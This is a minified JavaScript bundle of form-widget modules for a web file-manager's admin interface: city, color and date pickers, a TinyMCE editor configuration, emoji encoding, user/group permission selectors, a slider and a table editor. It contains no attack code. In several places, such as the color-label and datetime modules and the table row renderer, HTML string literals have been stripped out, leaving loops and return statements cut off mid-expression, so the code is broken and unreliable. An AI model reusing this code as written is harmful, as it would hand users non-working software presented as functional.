e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(){},"bindForm":(n=(0,s["default"])(a["default"].mark(function o(t){return a["default"].wrap(function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,requirePromise([VENDER_PATH+"city-picker/city-picker.data"]);case 2:return e.next=4,requirePromise([VENDER_PATH+"city-picker/css/city-picker.css",VENDER_PATH+"city-picker/city-picker"]);case 4:if(this.$el){e.next=6;break}return e.abrupt("return","");case 6:this.$(".form-cityPicker input").each(function(){var e=$(this);e.css("width",e.width()),e.citypicker()}),this.bind("onRemove",function(){this.$(".form-cityPicker input").citypicker("destroy")}),t&&t();case 9:case"end":return e.stop()}},o,this)})),function l(e){return n.apply(this,arguments)}),"setValue":function(e,t){e.val(t).trigger("change")}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){},"loadFile":function(e){requireAsync([VENDER_PATH+"colorpicker/pickr.min.js",VENDER_PATH+"colorpicker/nano.min.css"],e)},"bindForm":function(t){var i=this;this.loadFile(function(){var e=this.$(".form-color");e.find("input + .btn").bind("click",function(){$(this).prev().click()}),e.each(function(){i.bindColorItem($(this))}),t&&t()})},"bindColorItem":function(e){var n=e.find("input"),a=e.find(".color-picker-view .font-icon"),t=Pickr&&Pickr.create({"el":e.find(".color-picker-view").get(0),"theme":"nano","position":"top-start","useAsButton":!0,"default":n.val()||"#000000","swatches":["#FFFFFF","#cfd8dc","#ffccbc","#ffecb3","#fff9c4","#dcedc8","#b2ebf2","#e6f7ff","#d1c4e9","#D9D9D9","#90a4ae","#ff8a65","#ffd54f","#fff176","#aed581","#4dd0e1","#91d5ff","#9575cd","#969696","#607d8b","#ff5722","#ffc107","#ffeb3b","#8bc34a","#00bcd4","#40a9ff","#673ab7","#525252","#455a64","#e64a19","#ffa000","#fbc02d","#689f38","#0097a7","#1890ff","#512da8","#000000","#263238","#bf360c","#ff6f00","#f57f17","#33691e","#006064","#006dd2","#311b92"],"components":{"preview":!0,"opacity":!0,"hue":!0,"interaction":{"hex":1,"rgba":1,"hsla":0,"hsva":0,"cmyk":0,"input":1,"clear":0,"save":0}}});t=t||{"on":$.noop,"show":$.noop,"setColor":$.noop};var s=timeFloat();t.on("change",function(e,t){if(!(timeFloat()-s<.015)){var i=e.toHEXA().toString();n.val(i).trigger("change"),a.css("color",i)}}),n.data("picker",t),n.bind("focus mousedown mouseup",function(){t.show()}).bind("paste keyup",function(){s=timeFloat();var e=$(this).val();t.setColor(e),a.css("color",e)}),this.bind("onRemove",function(){t.destroyAndRemove()})},"setValue":function(e,t){var i=e.parent().find(".color-picker-view .font-icon");e.val(t).trigger("change"),i.css("color",t)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=function a(e){return e&&e.__esModule?e:{"default":e}}(i(23));t["default"]=n["default"].extend({"selector":".form-colorLabel select","init":function(){},"selectDataMake":function(e,t,i){this.loadData(e),i()},"loadData":function(t){for(var n=[],e="grey,red,orange,yellow,green,cyan,blue,purple,pink".split(","),i="light,normal,deep".split(","),a=0;a';return $(''+i+""+t+"")}}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n,a=r(i(6)),s=r(i(7));function r(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(){},"bindForm":(n=(0,s["default"])(a["default"].mark(function o(t){var i,c,d;return a["default"].wrap(function(e){for(;;)switch(e.prev=e.next){case 0:return this.$(".form-dateTime input + .btn").bind("click",function(){$(this).parents(".form-dateTime").find("input").focus()}),e.next=3,requirePromise([VENDER_PATH+"jquery.datetimepicker/jquery.datetimepicker.css",VENDER_PATH+"jquery.datetimepicker/jquery.datetimepicker.js"]);case 3:if(i=G.lang,d="zh-CN"==i||"zh-TW"==i?"ch":"en",(c=this).$el){e.next=8;break}return e.abrupt("return","");case 8:this.$(".form-dateTime input").each(function(){for(var e=$(this).attr("data-format")||dateFormatGet("timeDay"),t=$(this).attr("data-fromTime"),i=["Y","y","L","F","M","t","n","m","d","D","j","l","N","S","W","z","w"],n=["H","h","i","s","A","a","b","g","G","O","P","c","U"],a=!1,s=!1,r=0;r';return $(''+i+""+t+"")}}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n,a=r(i(6)),s=r(i(7));function r(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(){},"bindForm":function(e){var n=this;this.hightCodeCheck(),this.$("[data-link-type]").each(function(){var t=$(this),i=t.attr("data-link-type"),e=t.attr("data-link-url");switch(i){case"html":case"code":$.get(e,function(e){"code"==i?t.html("
    "+htmlEncode(e)+"
    "):t.html(e),n.hightCodeCheck()});break;case"javascript":case"style":requireAsync(e)}}),e&&e()},"hightCodeCheck":(n=(0,s["default"])(a["default"].mark(function o(){return a["default"].wrap(function(e){for(;;)switch(e.prev=e.next){case 0:if(this.$("pre,code").exists()){e.next=2;break}return e.abrupt("return");case 2:return e.next=4,requirePromise([VENDER_PATH+"markdown/highlight.min"]);case 4:if(this.$el){e.next=6;break}return e.abrupt("return");case 6:this.$("pre,code").each(function(e,t){$(this).hasClass("ace_editor")||$(this).hasClass("hljs")||hljs.highlightBlock(t)});case 7:case"end":return e.stop()}},o,this)})),function l(){return n.apply(this,arguments)})})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=a(i(145)),r=a(i(53));function a(e){return e&&e.__esModule?e:{"default":e}}var s=new n["default"];t["default"]=ClassBase.extend({"init":function(){},"getValue":function(e,t){var i=e.parent().find(".tox-tinymce").data("editor"),n="";return n=i?i.getContent():t.find("textarea").val(),s.toTextStore(n)},"setValue":function(e,t){var i=e.parent().find(".tox-tinymce").data("editor");return i&&i.setContent(t)},"loadFile":function(e){requireAsync([VENDER_PATH+"tinymce/tinymce.min.js",VENDER_PATH+"tinymce/jquery.tinymce.min.js",VENDER_PATH+"tinymce/kod/style.css"],function(){requireAsync([VENDER_PATH+"tinymce/kod/media.js"],e)})},"bindForm":function(e){var t=this;this.$(".form-htmlEditor textarea").each(function(){var e=Tips.loadingMask($(this).parent(),LNG["explorer.wordLoading"],.99,252);$(this).data("loadingTips",e)}),this.loadFile(function(){t.$(".form-htmlEditor textarea").each(function(){t.initEditor($(this),e)})}),this.bind("onRemove",function(){t.$(".form-htmlEditor .tox-tinymce").each(function(){var e=$(this).data("editor");e&&e.destroy()})})},"initEditor":function(i,n){var e=UUID(),a=this;i.addClass(e);var t=jsonDecode(htmlDecode(i.attr("data-options")||""))||{},s=this.options(t);s=_.extend({"selector":"."+e,"theme":"silver","content_css":[VENDER_PATH+"tinymce/kod/content.css",STATIC_PATH_ALL+"app/vender/markdown/katex/katex.min.css"],"file_browser_callback":function(e,t,i,n){return!1},"setup":function(e){e.on("preinit",function(){a.editorInitBefore(e)})},"init_instance_callback":function(e){a.editorInitAfter(e);var t=i.data("loadingTips");t&&t.close(),a.isInitFinished||(a.isInitFinished=!0,n&&n())},"image_advtab":!0,"image_title":!1,"paste_data_images":!0,"automatic_uploads":!0,"images_upload_handler":function(e,t,i){(new r["default"]).upload(e.blob(),e.filename(),function(e){t(e.downloadPath)})}},s),tinymce.init(s)},"editorInitBefore":function(t){tinymce.pluginResetAdd&&_.each(tinymce.pluginResetAdd,function(e){e&&e(t)}),this.editorAddIcon(t),this.editorResetMenus(t)},"editorResetMenus":function(e){var t=e.ui.registry.getAll();if(!_.isEmpty(t.menuItems)){var i="tableprops,align,fontformats,fontsizes,blockformats".split(",");_.each(i,function(e){t.menuItems[e]&&(t.menuItems[e].icon=e)})}},"editorAddIcon":function(n){var e=n.ui.registry.getAll();this.resetSvgIcon(e.icons);_.each({"math":"mce-i-icon mce-i-mathjax","bdmap":"ri-map-pin-fill-5","code":"ri-code-s-slash-line","fontformats":"ri-font-size","fontsizes":"ri-font-size","lineheight":"ri-line-height","blockformats":"ri-heading","new-tab":"ri-external-link-line","align":"mce-i-icon mce-i-align-center","tableprops":"ri-information-line","table-delete-table":"ri-indeterminate-circle-line","checklist":"ri-checkbox-fill","sourcecode":"ri-code-s-slash-line","code-sample":"ri-code-s-slash-line","insert-time":"ri-calendar-check-fill","embed":"ri-play-circle-fill","chevron-down":"ri-arrow-down-s-line","chevron-right":"ri-arrow-right-s-line","chevron-left":"ri-arrow-left-s-line","chevron-up":"ri-arrow-drop-up-line"},function(e,t){var i='';n.ui.registry.addIcon(t,i)})},"resetSvgIcon":function(e){var t=["help","bookmark","autocorrect","bidiltr","bidirtl","quote","bold","unordered-list","button","checkbox","copy","cut","docprops","find","form","visualchars","horizontal-rule","iframe","image","imagebutton","indent","italic","align-justify","align-center","align-left","align-right","language","link","mathjax","fullscreen","newpage","ordered-list","outdent","page-break","paste","pastefromword","preview","print","radio","redo","remove-formatting","search","save","scayt","select","select-all","showblocks","emoji","sourcecode","sourcedialog","insert-character","spellchecker","strike-through","subscript","superscript","table","templates","textarea","textfield","uicolor","underline","undo","undo","unlink"];for(var i in e)if(!e[i]||"')}},"editorInitAfter":function(t){var i=this,e=$(t.editorContainer),n=e.find(".tox-toolbar").first();this.editorResetDialog(t),e.data("editor",t),e.find("iframe").attr("title","").addClass("disable-title");var a=t.settings.toolbar.join(" ").replace(/\|/g," ").replace(/ +/g," ").split(" ");if(e.find(".tox-toolbar__group").children().each(function(e){$(this).addClass("toolbar-"+a[e])}),t.settings.menubar){var s=e.find(".tox-menubar");(s=s.appendTo(n)).prev().addClass("menubar-prev");var r=t.settings.menubar.split(" ");s.find(".tox-mbtn").each(function(e){$(this).addClass("mce-i-"+r[e])})}t.on("DblClick",function(e){i.editorObjectClick(t,$(e.target))})},"editorObjectClick":function(e,t){if(t[0].tagName)switch(t[0].tagName.toLowerCase()){case"img":t.hasClass("mce-object-video")?e.execCommand("mceMedia"):t.hasClass("mce-object")||e.execCommand("mceImage");break;case"a":e.execCommand("mceLink");break;case"span":t.hasClass("mce-preview-object")&&t.hasClass("mce-object-iframe")&&e.execCommand("mceMedia")}},"editorResetDialog":function(e){var r=function r(e){var t=artDialog.defaults.zIndex++;e.css({"z-index":t})},t=function t(s){return function(){var e=s.apply(this,arguments),t=$(window),i=$('.tox-dialog[aria-modal="true"]');if(1!=i.length)return e;var n=i.parents(".tox-dialog-wrap"),a=n.find(".tox-dialog-wrap__backdrop");return r(n),n.bind("mousedown",function(e){r(n)}),i.css({"position":"fixed","left":(t.width()-i.width())/2,"top":(t.height()-i.height())/2}),a.hide().fadeIn(200),i.addClass("dialogShow animated"),i.find(".tox-dialog__body-nav-item").addClass("ripple-item"),i.find(".tox-textarea").length&&i.addClass("tox-dialog-add-source"),i.find(".tox-image-tools-edit-panel").length&&i.addClass("tox-image-edit"),e}};e.windowManager.open=t(e.windowManager.open),e.windowManager.openUrl=t(e.windowManager.openUrl)},"options":function o(e){var t="12px,13px,14px,15px,16px,18px,20px,24px,32px,36px,48px".split(","),i={"full":["formatselect fontsizeselect fontselect | alignleft aligncenter alignright lineheight | removeformat formatpainter preview codeView fullscreen","bold italic underline strikethrough forecolor backcolor | indent outdent numlist bullist |blockquote hr emoticons link image table"],"normal":["bold italic underline forecolor | alignleft aligncenter alignright | bullist indent outdent |hr blockquote link image"],"simple":["bold italic underline | alignleft aligncenter alignright |hr blockquote link image"]};e.toolbar=i[e.toolbar]||e.toolbar||i.full;var n=_.includes(G.lang,"zh")?"zh_CN":"en",o={"theme_advanced_font_sizes":t.join(","),"fontsize_formats":t.join(" "),"font_formats":["微软雅黑=Microsoft Yahei","宋体=STsong,SimSun,NSimSun,STFangsong,FangSong,FangSong_GB2312,STZhongsong","细黑=STXihei,STHeiti,SimHei","楷体=STKaiti,KaiTi,KaiTi_GB2312,Kai","华文行楷=STXingkai","隶书=隶书,SimLi,STLiti","Arial=Arial,helvetica,sans-serif","Comic Sans MS=Comic Sans MS,cursive","Courier New=Courier New,Courier,monospace","Impact=Impact,chicago","Lucida Sans Unicode=Lucida Sans Unicode,Lucida Grande,sans-serif","Tahoma=Tahoma,Geneva,sans-serif","Times New Roman=Times New Roman,Times,serif","Trebuchet MS=Trebuchet MS","Verdana=Verdana,Geneva,sans-serif"].join(";"),"menu":{"menuFormate":{"title":"Format","items":"bold italic underline strikethrough superscript subscript blockquote checklist codeformat | blockformats fontformats fontsizes align | forecolor backcolor | removeformat"},"menuInsert":{"title":"Insert","items":"image link media template codesample inserttable | pageembed kitymath bdmap | charmap emoticons hr | pagebreak nonbreaking anchor toc | insertdatetime"},"menuMore":{"title":"更多","items":"undo redo | cut copy selectall searchreplace | visualchars visualblocks | codeView wordcount formatpainter | fullscreen preview print "}},"menubar":"menuFormate menuInsert menuMore","language":n,"plugins":["print preview searchreplace autolink directionality visualblocks visualchars fullscreen image","link media codesample table charmap hr pagebreak nonbreaking anchor toc insertdatetime advlist","lists textcolor wordcount imagetools contextmenu paste colorpicker textpattern help lineheight quickbars","bdmap emoticons checklist pageembed formatpainter kitymath codeView"],"toolbar":[],"toolbar_groups":{"formateKod":{"icon":"bold","tooltip":"Formatting","items":"bold italic underline | superscript subscript"},"alighKod":{"icon":"aligncenter","tooltip":"Align","items":"alignleft aligncenter alignright"}},"browser_spellcheck":!0,"color_cols":9,"color_map":["#FFFFFF","c-white","#cfd8dc","","#ffccbc","","#ffecb3","","#fff9c4","","#dcedc8","","#b2ebf2","","#e6f7ff","","#d1c4e9","","#D9D9D9","","#90a4ae","","#ff8a65","","#ffd54f","","#fff176","","#aed581","","#4dd0e1","","#91d5ff","","#9575cd","","#969696","","#607d8b","","#ff5722","","#ffc107","","#ffeb3b","","#8bc34a","","#00bcd4","","#40a9ff","","#673ab7","","#525252","","#455a64","","#e64a19","","#ffa000","","#fbc02d","","#689f38","","#0097a7","","#1890ff","","#512da8","","#000000","","#263238","","#bf360c","","#ff6f00","","#f57f17","","#33691e","","#006064","","#006dd2","","#311b92",""],"resize":"both","toolbar_mode":"sliding","draggable_modal":!0,"branding":!1,"elementpath":!1,"statusbar":!1,"contextmenu":"bold copy cut | align | link format | insert | table","quickbars_insert_toolbar":!1,"quickbars_selection_toolbar":"bold italic underline | h2 h3 blockquote link","cache_suffix":"?v="+G.kod.version,"allow_conditional_comments":!0,"verify_html":!0,"extended_valid_elements":"i[*],span[*],div[*]","remove_trailing_brs":!1,"protect":[/\<\/?(if|endif)\>/g,/\]+\>/g,/<\?php.*?\?>/g],"paste_webkit_styles":"color,background,width,height,vertical-align,text-align,padding,margin,padding-top,padding-bottom,line-height","file_browser_callback_types":"image"};return _.extend(o,e||{}),o}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){this.type="emoji",this.name="emoji"},"emojMap":{"def":["😄","😷","😂","😅","😝","😳","😱","😔","🙄","🙃","😩","🤔","🌚","😉","😊","😋","😎","😍","😘","😙","😚","🙂","🤗","😐","😑","😬","😵","😏","😣","😥","😮","🤐","😯","😪","😫","😴","😌","😛","😜","😡","😰","😓","😕","🤑","😲","🙁","😖","😞","😟","😤","😢","😭","😦","😧","😨","😠","🤒","🤕","😇","🤓","😈","👿","🙏","💪","🎉","🎁","🙈","👊","🙌","💯","💃","🍻","👹","👺","💀","👻","👽","🤖","💩","😺","😸","😹","😻","😼","😽","🙀","😿","😾","🗣","👤"],"hot":["👥","👫","👬","👭","👂","👃","👣","👀","👁","👅","👄","💋","👓","🕶","👔","👕","👖","👗","👘","👙","👚","👛","👜","👝","🎒","👞","👟","👠","👡","👢","👑","👒","🎩","🎓","⛑","💄","💍","🌂","💼"],"food":["🍇","🍈","🍉","🍊","🍋","🍌","🍍","🍎","🍏","🍐","🍑","🍒","🍓","🍅","🍆","🌽","🌶","🍄","🌰","🍞","🧀","🍖","🍗","🍔","🍟","🍕","🌭","🍳","🍲","🍿","🍱","🍘","🍙","🍚","🍛","🍜","🍝","🍠","🍢","🍣","🍤","🍥","🍡","🍦","🍧","🍨","🍩","🍪","🎂","🍰","🍫","🍬","🍭","🍮","🍯","🍼","☕","🍵","🍶","🍾","🍷","🍸","🍹","🍺","🍻","🍽","🍴","🥄"]},"htmlPanel":function(){var i="";return _.each(this.emojMap,function(e,t){i+=''+t+"",_.each(e,function(e){i+=''+e+""})}),i},"toText":function(e){return this.encodeTo(e,"code")},"toTextStore":function(e){return this.encodeTo(e,"html")},"encodeTo":function(e,i){var t=/[\ud800-\udbff][\udc00-\udfff]/g;return e&&-1!=e.search(t)?e=e.replace(t,function(e){var t;return 2===e.length?(t=1024*(e.charCodeAt(0)-55296)+65536+e.charCodeAt(1)-56320,"html"==i?"&#"+t+";":"[:"+t+":]"):e}):e},"toHtml":function(e){e=this.toText(e);var a=this,t=/\[:(\d+):\]/g;return e&&-1!=e.search(t)?e.replace(t,function(e,t){var i=a.numberToChar(t),n=' class="emoji-text emoji-text-'+t+'"';return''}):e},"numberToChar":function(e){var t=parseInt(e)-65536,i=55296+(t>>10),n=56320+(1023&t);return String.fromCharCode.apply(null,[i,n])},"charToNumber":function(e){return e.codePointAt()+""},"charToHex":function(e){},"toTextShow":function(e){e=this.toText(e);var i=this,t=/\[:(\d+):\]/g;return e&&-1!=e.search(t)?e.replace(t,function(e,t){return i.numberToChar(t)}):e}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=i(22);t["default"]=ClassBase.extend({"init":function(){},"bindForm":function(e){var t=this;this.$(".form-group select").each(function(){var e="groupSelect_"+roundString(5);t[e]=new n.BaseUserGroup({"parent":t,"selectType":"group","parentGroup":$(this).attr("data-parentGroup"),"$afterDom":$(this)})}),e&&e()},"getValue":function(e,t){return e.attr("data-value")},"setValue":function(e,t){var i=e.data("kodView");i&&i.setValue(t)}})},function(e,t,a){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var i=a(22),n=function o(e){return e&&e.__esModule?e:{"default":e}}(a(88));var s={"user":!1,"group":!1,"all":!1};t["default"]=ClassBase.extend({"init":function(){},"bindForm":function(e,t){var i=this;this.$(".form-groupAuth input[name]").each(function(){var e="groupAuth_"+roundString(5);i[e]=new r({"parent":t,"$afterDom":$(this),"parentGroup":$(this).attr("data-parentGroup"),"rootParam":$(this).attr("data-rootParam"),"selectType":$(this).attr("data-type")})}),e&&e()},"setValue":function(e,t){var i=e.data("kodView");i&&i.setValue(t)}});var r=i.BaseUserGroup.extend({"renderView":function(){var e=this.$afterDom.val()||"",t=a(94),i={"isSingle":this.isSingle,"selectType":this.selectType},n=this.renderHtml(t,i,!1);this.$afterDom.after(n),this.$el=this.$afterDom.next(),this.$selectBox=this.$afterDom.parent().find(".add-user-group"),this.$resultBox=this.$(".auth-select-box"),this.parseDefaultData(e),this.initDefaultValue(),this.bindNotifyMenu(),this.changeForValue(),this.renderViewDropdown(),this.bindToolbar(),this.$dropdown.css("width",this.$afterDom.width()),this.$afterDom.hide(),this.saveDataResult=_.debounce(_.bind(this.saveDataResult,this),200)},"changeForValue":function(){var e="";switch(this.selectType){case"user":e=this.resultData.user;break;case"group":e=this.resultData.group;break;case"all":e=this.resultData,_.isEmpty(e.user)&&_.isEmpty(e.group)&&(e="")}e=_.isEmpty(e)?"":jsonEncode(e),this.$afterDom.val(e).trigger("change")},"parseDefaultData":function(e){switch(this.keyID=[],this.isSingle=!1,this.loadValue={"group":"","user":""},this.resultData={"group":{},"user":{}},this.authSelectChild=[],e=(e=_.isString(e)?jsonDecode(e):e)||{},this.selectType){case"user":this.keyID=["userID"],this.loadValue.user=_.keys(e).join(","),this.resultData.user=e||{};break;case"group":this.keyID=["groupID"],this.loadValue.group=_.keys(e).join(","),this.resultData.group=e||{};break;case"all":this.keyID=["groupID","userID"],this.loadValue.user=_.keys(e.user).join(","),this.loadValue.group=_.keys(e.group).join(","),this.resultData=_.extend(this.resultData,e)}},"bindNotifyMenu":function(){this.bind("menuOpen",function(){this.$selectBox.addClass("active")}),this.bind("menuClose",function(){this.$selectBox.removeClass("active")})},"bindToolbar":function(){var i=this,e=this.$(".auth-toolbar .auth-toolbar-item"),t="hidden",n=function n(){i.$afterDom.val()?(e.filter('[data-action="clear"]').removeClass("disable-event"),e.filter('[data-action="copy"]').removeClass(t)):(e.filter('[data-action="clear"]').addClass("disable-event"),e.filter('[data-action="copy"]').addClass(t)),s[i.selectType]?e.filter('[data-action="paste"]').removeClass(t):e.filter('[data-action="paste"]').addClass(t)};this.$el.bind("mouseenter",n),this.$afterDom.bind("change",n),e.bind("click",function(e){if(!$(this).hasClass("disable"))switch($(this).attr("data-action")){case"clear":i.setValue({});break;case"copy":var t=i.$afterDom.val();t&&(s[i.selectType]=t,Tips.tips(LNG["explorer.copyOK"]),n());break;case"paste":s[i.selectType]&&i.setValue(s[i.selectType])}})},"changeForResult":function(){this.initDataAfter=!0;var e=this,t=a(95),i={"list":this.listData,"authList":this.resultData,"itemIcon":_.bind(this.itemIcon,this)},n=this.renderHtml(t,i,!1);this.removeAuthSelectBefore(),this.$resultBox.html(n),this.$resultBox.find(".item-choice").each(function(){e.bindAuthSelect($(this))}),this.saveDataResult()},"bindAuthSelect":function(e){var t=this,i=new n["default"]({"parent":this});i.$el=e.find(".select-role"),i._objectName="groupAuthSelect_"+roundString(5),i.loadSource(function(){i.$el&&(i.$el.attr("data-type","group-auth"),i.$el.attr("data-key","group-auth-"+t.$afterDom.attr("name")),i.selectInit(i.$("select"),i.$el),t.parent&&t.parent.trigger("groupAuth.initAuth",i))}),i.selectChange=_.bind(this.saveDataResult,this),this[i._objectName]=i,this._authSelectChild.push(i)},"removeAuthSelectBefore":function(){this._each(this._authSelectChild,function(e){delete this[e._objectName],e.objectRemove(e)}),this._authSelectChild=[]},"onRemove":function(){this.removeAuthSelectBefore(),$(window).unbind("mousedown",this.bindDropdownWindow),this.zTree&&this.zTree.destroy()},"saveDataResult":function(){if((this.initDataAfter||!_.isEmpty(this.listData))&&this.$resultBox&&this.$resultBox.exists()){this.resultData={"user":{},"group":{}};var a=this.resultData;this.$resultBox.find(".item-choice").each(function(){var e=$(this).find("select"),t=$(this).attr("data-type"),i=$(this).attr("data-id"),n=e.val()||e.attr("data-value");"userID"==t?a.user[i]=n:a.group[i]=n}),this.changeForValue()}}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=function a(e){return e&&e.__esModule?e:{"default":e}}(i(23));t["default"]=n["default"].extend({"selector":".form-job select","init":function(){},"selectDataMake":function(t,e,i){var n=this;this.adminModel.cacheRequest("jobList",!1,function(e){n.dataFilter(t,e),i&&i()})},"dataFilter":function(e,t){if(!t.code)return Tips.tips(t);var i=t.data,n=[];for(var a in i){var s=i[a];n.push({"id":s.id,"text":s.name,"info":s})}e.data=n,e.templateResult=function(e){return $(""+e.text+"")}}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=i(22);t["default"]=ClassBase.extend({"init":function(){},"bindForm":function(e){var t=this;this.$(".form-user select").each(function(){var e="userSelect_"+roundString(5);t[e]=new n.BaseUserGroup({"parent":t,"selectType":"user","parentGroup":$(this).attr("data-parentGroup"),"$afterDom":$(this)})}),e&&e()},"getValue":function(e,t){return e.attr("data-value")},"setValue":function(e,t){var i=e.data("kodView");i&&i.setValue(t)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=i(22);t["default"]=ClassBase.extend({"init":function(){},"bindForm":function(e){var t=this;this.$(".form-userGroup select").each(function(){var e="userGroupSelect_"+roundString(5);t[e]=new n.BaseUserGroup({"parent":t,"selectType":"all","parentGroup":$(this).attr("data-parentGroup"),"$afterDom":$(this)})}),e&&e()},"getValue":function(e,t){return e.attr("data-value")},"setValue":function(e,t){var i=e.data("kodView");i&&i.setValue(t)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var s=i(22),r=function n(e){return e&&e.__esModule?e:{"default":e}}(i(96));t["default"]=ClassBase.extend({"init":function(){},"bindForm":function(e){var a=this;this.$(".form-userSelect").each(function(){var e=$(this);a.bindButtonGroup(e);var t="userSelect_"+roundString(5);a[t]=new s.BaseUserGroup({"parent":a,"selectType":"user","parentGroup":e.attr("data-parentGroup"),"$afterDom":e.find(".user-select-user select")});t="groupSelect_"+roundString(5);a[t]=new s.BaseUserGroup({"parent":a,"selectType":"group","parentGroup":e.attr("data-parentGroup"),"$afterDom":e.find(".user-select-group select")});t="roleSelect_"+roundString(5);var i=e.find(".user-select-role"),n=new r["default"]({"parent":this});n.loadSource(function(){n.selectInit(i.find("select"),i)}),this[t]=n}),e&&e()},"getValue":function(e,n){var a={"all":"0","user":"","group":"","role":""};return n.find(".btn-group .btn-active").each(function(){var e=$(this).attr("data-type");if("all"!=e){var t=n.find(".user-select-"+e+" select"),i="role"==e?t.val():t.attr("data-value");i=_.isArray(i)?i.join(","):i,a[e]=i}else a[e]="1"}),jsonEncode(a)},"setValue":function(e,t){var i=e.parent(),n=i.find(".btn-group-segment"),a=i.find(".user-select-user select").data("kodView"),s=i.find(".user-select-group select").data("kodView"),r=i.find(".user-select-role select");t=_.isString(t)?jsonDecode(t):t,t=$.extend(!0,{"all":"","user":"","group":"","role":""},t),n.find("[data-type=all]").click(),_.each(t,function(e,t){e&&n.find("[data-type="+t+"]").click()}),a&&a.setValue(t.user),s&&s.setValue(t.group);var o=t.role;o&&_.isString(o)&&r.attr("multiple")&&(o=o.split(",")),r.val(o).trigger("change")},"bindButtonGroup":function(n){var a="btn-active",s=n.find(".btn-group").attr("multiple","multiple"),r=s.find(".btn"),e=n.find("> .setting-content input"),o=_.bind(this.parent.display,this.parent);r.bind("click",function(){var e=$(this).attr("data-type"),t=s.parent().find(".user-select"),i=t.filter(".user-select-"+e);if(!s.attr("multiple")||"all"==e)return r.removeClass(a),$(this).addClass(a),t.each(function(){o($(this),!1)}),void o(i,!0);$(this).toggleClass(a),o(i,!i.is(":visible")),$(this).hasClass(a)?n.find("[data-type=all]").removeClass(a):n.find("."+a).exists()||n.find("[data-type=all]").addClass(a)}),this.setValue(e,e.val())}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){},"bindForm":function(e){var t=this.$(".form-segment .btn-group .btn"),n="btn-active";t.bind("click",function(e){var t=$(this).parents(".setting-content").first(),i=$(this).attr("data-value");t.find("input").val(i).trigger("change"),t.find(".btn").removeClass(n),$(this).addClass(n)}),e&&e()},"setValue":function(e,t){e.parent().find('.btn[data-value="'+t+'"]').click()}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n,a=r(i(6)),s=r(i(7));function r(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(){},"bindForm":(n=(0,s["default"])(a["default"].mark(function o(t){return a["default"].wrap(function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,requirePromise([VENDER_PATH+"bootstrap-slider/bootstrap-slider.css",VENDER_PATH+"bootstrap-slider/bootstrap-slider.js"]);case 2:if(this.$el){e.next=4;break}return e.abrupt("return","");case 4:t&&t(),this.$(".form-slider input").slider(),this.bind("onRemove",function(){this.$(".form-slider input").slider("destroy")});case 7:case"end":return e.stop()}},o,this)})),function l(e){return n.apply(this,arguments)}),"setValue":function(e,t){e.slider("setValue",t)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){},"bindForm":function(e){var i=this;if(!this.$el)return"";this.tableForm=[],this.$(".form-table input").each(function(){i.renderTableValue($(this)),i.bindSort($(this))}),this.$(".form-table .row-add").bind("click",function(){var e=$(this).parent().children("input");i.rowAdd(e)}),this.$(".form-table").delegate(".list-content .row-action .col-action","click",function(){var e=$(this).parents(".form-table-main").prev(),t=$(this).parents(".list-row");i.rowAction(e,$(this).attr("action"),t.attr("data-index"))}),this.bind("onRemove",function(){this._each(this.tableList,function(e){e.objectRemove()})}),e&&e()},"getFormData":function(e){var t=e.attr("name"),i=$.objClone(this.parent.formData[t]);i.info=_.extend({"removeConfirm":1,"formType":"dialog","canSort":1,"dialog":{}},i.info||{});var n=this.getValue(e,!1,!1);return i.value=jsonDecode(n)||[],i},"bindSort":function(e){var t=this,i=this.getFormData(e),a=$(e.parent().find(".list-content").get(0));a.addClass("table-type-"+i.info.formType),i.info.canSort?(a.dragsort("destroy"),a.dragsort({"dragSelector":".col-drag","dragBetween":!0,"dragEnd":function(){var i=t.getFormData(e).value,n=[];a.find(".list-row").each(function(e){var t=parseInt($(this).attr("data-index"));i[t]&&n.push(i[t]),$(this).attr("data-index",e)}),t.setValue(e,n,!0)}})):a.addClass("can-not-sort")},"renderTableValue":function(i){var n=this.getFormData(i),e=i.parent().find(".list-content");if(e.html(""),this.checkEmpty(i),"dialog"==n.info.formType){if(_.isEmpty(n.value))return;var a="";this._each(n.value,function(e,t){a+=this.renderTableHtmlRow(e,n,t)}),e.html(a)}else this._each(this.tableList,function(e){e.objectRemove()}),this._each(n.value,function(e,t){this.rowAdd(i,e,t)})},"renderTableHtmlRow":function(e,t,i){var n='
    ',a=t.row||t.children;return _.each(a,function(e,t){var i=e.template||(e.key?"{{"+e.key+"}}":"{{"+t+"}}");n+='
    '+i+"
    "}),n=n.substr(0,n.length-6)+'\n\t\t
    \n\t\t\t
    \n\t\t\t
    \n\t\t\t\t{{LNG[\'common.edit\']}}\n\t\t\t
    \n\t\t\t
    \n\t\t\t\t{{LNG[\'common.delete\']}}\n\t\t\t
    \n\t\t
